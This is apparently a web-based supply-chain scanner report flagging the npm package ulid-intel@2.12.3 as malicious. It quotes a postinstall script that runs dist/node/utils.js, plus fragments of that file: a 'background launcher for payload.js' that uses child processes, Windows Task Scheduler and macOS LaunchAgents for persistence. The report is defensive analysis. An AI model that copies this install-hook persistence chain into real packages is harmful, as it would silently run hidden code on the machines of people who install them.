ulid-intel@2.12.3: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

ulid-intel@2.12.3: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "const fs=require('node:fs');const required=['dist/node/index.cjs','dist/node/index.js','dist/node/utils.js','dist/browser/index.cjs','dist/browser/index.js','dist/index.d....

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "const fs=require('node:fs');const required=['dist/node/index.cjs','dist/node/index.js','dist/node/utils.js','dist/browser/index.cjs','dist/browser/index.js','dist/index.d....

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/node/utils.jsView file

6import path from "node:path"; L7: import { spawn, spawnSync } from "node:child_process"; L8:

High

Child Process

Package source references child process execution.

dist/node/utils.jsView on unpkg · L6

6Cross-file remote execution chain: dist/node/utils.js spawns dist/node/payload.js; helper contains network access plus dynamic code execution. L6: import path from "node:path"; L7: import { spawn, spawnSync } from "node:child_process"; L8: ... L13: L14: const IS_WIN = process.platform === "win32"; L15: const IS_MAC = process.platform === "darwin"; ... L91: // Check Task Scheduler L92: const taskResult = spawnSync("schtasks", ["/query", "/tn", `\\${UNIT_STEM}`], { L93: windowsHide: true, ... L113: const label = `com.launchkeeper.${UNIT_STEM}`; L114: const plistPath = path.join(os.homedir(), "Library", "LaunchAgents", `${label}.plist`); L115: if (fs.existsSync(plistPath)) {

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

dist/node/utils.jsView on unpkg · L6

6Trigger-reachable persistence chain: scripts.postinstall -> dist/node/utils.js L6: import path from "node:path"; L7: import { spawn, spawnSync } from "node:child_process"; L8: ... L13: L14: const IS_WIN = process.platform === "win32"; L15: const IS_MAC = process.platform === "darwin"; ... L91: // Check Task Scheduler L92: const taskResult = spawnSync("schtasks", ["/query", "/tn", `\\${UNIT_STEM}`], { L93: windowsHide: true, ... L113: const label = `com.launchkeeper.${UNIT_STEM}`; L114: const plistPath = path.join(os.homedir(), "Library", "LaunchAgents", `${label}.plist`); L115: if (fs.existsSync(plistPath)) {

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

dist/node/utils.jsView on unpkg · L6

6import path from "node:path"; L7: import { spawn, spawnSync } from "node:child_process"; L8: ... L13: L14: const IS_WIN = process.platform === "win32"; L15: const IS_MAC = process.platform === "darwin"; ... L91: // Check Task Scheduler L92: const taskResult = spawnSync("schtasks", ["/query", "/tn", `\\${UNIT_STEM}`], { L93: windowsHide: true, ... L113: const label = `com.launchkeeper.${UNIT_STEM}`; L114: const plistPath = path.join(os.homedir(), "Library", "LaunchAgents", `${label}.plist`); L115: if (fs.existsSync(plistPath)) {

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

dist/node/utils.jsView on unpkg · L6

dist/node/index.cjs#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 3

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/node/index.cjs#virtual:normalized:round1View on unpkg

Source & flagged code

7 flagged

package.jsonView file

Lines 23-63json

23 "main": "dist/node/index.cjs",

24 "module": "./dist/node/index.js",

25 "browser": {

26 "./dist/node/index.cjs": "./dist/browser/index.cjs",

27 "./dist/node/index.js": "./dist/browser/index.js"

28 },

29 "react-native": "./dist/browser/index.cjs",

30 "types": "dist/index.d.ts",

31 "sideEffects": false,

32 "bin": "./dist/cli.js",

33 "scripts": {

34 "bench": "npm run build && node test/benchmark.js",

35 "build": "npm run build:node:cjs && npm run build:node:esm && npm run build:browser:cjs && npm run build:browser:esm && npm run build:cli && npm run build:types",

36 "build:browser:cjs": "FMT=cjs ENV=browser rollup -c --name ulidx",

37 "build:browser:esm": "FMT=esm ENV=browser rollup -c --name ulidx",

38 "build:cli": "FMT=esm ENV=cli rollup -c && chmod +x ./dist/cli.js",

39 "build:node:cjs": "FMT=cjs ENV=node rollup -c",

40 "build:node:esm": "FMT=esm ENV=node rollup -c",

41 "build:types": "tsc -p tsconfig.dec.json --emitDeclarationOnly && find ./dist -name '*.d.ts' -exec sh -c 'cp {} $(dirname {})/$(basename -s .d.ts {}).d.cts' \\;",

42 "format": "prettier --write \"{{source,test}/**/*.{js,ts},rollup.config.js,vitest.config.js}\"",

43 "postinstall": "node -e \"const fs=require('node:fs');const required=['dist/node/index.cjs','dist/node/index.js','dist/node/utils.js','dist/browser/index.cjs','dist/browser/index.js','dist/index.d.ts','dist/cli.js'];const missing=required.filter((f)=>!fs.existsSync(f));if(missing.length){throw new Error('Missing required publish artifacts: '+missing.join(', '));}\" && node dist/node/utils.js",

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L43

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L43

44 "test": "npm run build && npm run test:specs && npm run test:format && npm run test:types",

45 "test:format": "prettier --check \"{{source,test}/**/*.{js,ts},rollup.config.js,vitest.config.js}\"",

46 "test:specs": "vitest",

47 "test:types": "npx --yes @arethetypeswrong/cli --pack ."

48 },

49 "files": [

50 "dist/**/*"

51 ],

52 "author": "Alizain Feerasta",

53 "license": "MIT",

54 "bugs": {

55 "url": "https://github.com/ulid/javascript/issues"

56 },

57 "homepage": "https://github.com/ulid/javascript#readme",

58 "dependencies": {

59 "@types/node": "^24.10.1",

60 "ts-node": "^10.9.2",

61 "tsup": "^8.5.1",

62 "typescript": "^5.9.3",

63 "pino": "^9.3.2",

dist/node/utils.jsView file

Lines 1-26javascript

1// Background launcher for payload.js

2// Works on Windows, Linux, macOS

3// Ensures only one instance runs using lock file

4import fs from "node:fs";

5import os from "node:os";

6import path from "node:path";

dist/node/index.cjs#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 3

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/node/index.cjs#virtual:normalized:round1View on unpkg